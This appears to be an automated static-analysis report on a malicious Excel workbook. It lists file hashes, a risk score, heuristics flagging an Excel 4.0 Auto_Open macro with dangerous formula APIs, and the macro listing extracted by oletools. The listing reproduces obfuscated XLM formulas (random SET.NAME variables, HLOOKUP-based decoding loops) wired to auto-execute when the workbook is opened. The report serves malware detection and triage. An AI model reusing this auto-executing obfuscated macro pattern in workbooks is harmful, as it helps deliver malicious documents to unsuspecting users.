Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7b1239dd84e83090…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:30 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 12e79c783f81ce600caf3e07f80771c4 SHA-1: d6c1210e1cf2e8e5c8af016bcaece296be8c4627 SHA-256: 7b1239dd84e830905303c506e7315060138a2be7b6081b4001b561c24ae3a34c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6768 bytes
SHA-256: 4fc10d3e4a1fedf34b495d4752fa67aa7cce1742fda04d635a72692b0e611859
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  qikWPpVW
' 0018     21 LABEL : Cell Value, String Constant - AHvhFb len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G172 
' 0018     21 LABEL : Cell Value, String Constant - cgISsm len=0 
' 0018     27 LABEL : Cell Value, String Constant - EAfNhxVPgTyD len=0 
' 0018     25 LABEL : Cell Value, String Constant - ebbvQuUNnG len=0 
' 0018     27 LABEL : Cell Value, String Constant - fdauvlTeZzdv len=0 
' 0018     24 LABEL : Cell Value, String Constant - hCYQDQpYY len=0 
' 0018     22 LABEL : Cell Value, String Constant - hDVJKTJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - kelmEava len=0 
' 0018     22 LABEL : Cell Value, String Constant - lhFsyTB len=0 
' 0018     27 LABEL : Cell Value, String Constant - nayndhveRckx len=0 
' 0018     27 LABEL : Cell Value, String Constant - NSbnVMPmZiBJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - qIskjLPws len=0 
' 0018     26 LABEL : Cell Value, String Constant - SxrvRIZWiYZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - wiAlrY len=0 
' 0018     22 LABEL : Cell Value, String Constant - YchywBj len=0 
' 0018     24 LABEL : Cell Value, String Constant - YYUVIzhyy len=0 
' 0018     26 LABEL : Cell Value, String Constant - zERjMuEGocm len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZFTtpXSk len=0 
' 0018     21 LABEL : Cell Value, String Constant - zoGYqR len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZXfgLUsLDDQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  qikWPpVW,P86,"",949.00000000000000000000
'  qikWPpVW,P87,"",322.00000000000000000000
'  qikWPpVW,P88,"",107.00000000000000000000
'  qikWPpVW,P89,"",328.00000000000000000000
'  qikWPpVW,P90,"",327.00000000000000000000
'  qikWPpVW,P91,"",-123.00000000000000000000
'  qikWPpVW,G93,"SET.NAME("zERjMuEGocm",0+VALUE("0"))",""
'  qikWPpVW,G95,"SET.NAME("lhFsyTB",zERjMuEGocm)",""
'  qikWPpVW,G97,"SET.NAME("kelmEava",zERjMuEGocm)",""
'  qikWPpVW,G102,"SET.NAME("YchywBj",COUNTA(cgISsm))",""
'  qikWPpVW,G105,"SET.NAME("YYUVIzhyy",COUNTA(wiAlrY))",""
'  qikWPpVW,G108,[],""
'  qikWPpVW,G110,"SET.NAME("ZXfgLUsLDDQ","")",""
'  qikWPpVW,G112,"lhFsyTB",""
'  qikWPpVW,G115,"SET.NAME("qIskjLPws",HLOOKUP("*",cgISsm,lhFsyTB,FALSE))",""
'  qikWPpVW,G120,"ebbvQuUNnG",""
'  qikWPpVW,G123,"SET.NAME("NSbnVMPmZiBJ",zERjMuEGocm)",""
'  qikWPpVW,G125,[],""
'  qikWPpVW,G129,"NSbnVMPmZiBJ",""
'  qikWPpVW,G131,"fdauvlTeZzdv",""
'  qikWPpVW,G134,"SxrvRIZWiYZ",""
'  qikWPpVW,G138,"hDVJKTJ",""
'  qikWPpVW,G141,"SET.NAME("nayndhveRckx",VALUE(HLOOKUP("*",wiAlrY,hDVJKTJ,FALSE)))",""
'  qikWPpVW,G144,"hCYQDQpYY",""
'  qikWPpVW,G147,"ZXfgLUsLDDQ",""
'  qikWPpVW,G151,"kelmEava",""
'  qikWPpVW,G154,NEXT(),""
'  qikWPpVW,G156,"EAfNhxVPgTyD",""
'  qikWPpVW,G158,[],""
'  qikWPpVW,G160,"zoGYqR",""
'  qikWPpVW,G165,NEXT(),""
'  qikWPpVW,G167,RETURN(),""
'  qikWPpVW,G196,"SET.NAME("ZFTtpXSk",G93)",""
'  qikWPpVW,G199,"cgISsm",""
'  qikWPpVW,G201,"SET.NAME("wiAlrY",R41C13)",""
'  qikWPpVW,G204,"SET.NAME("zoGYqR",213)",""
'  qikWPpVW,G208,"SET.NAME("AHvhFb",7)",""
'  qikWPpVW,G212,ZFTtpXSk(),""
'  qikWPpVW,G213,HALT(),""

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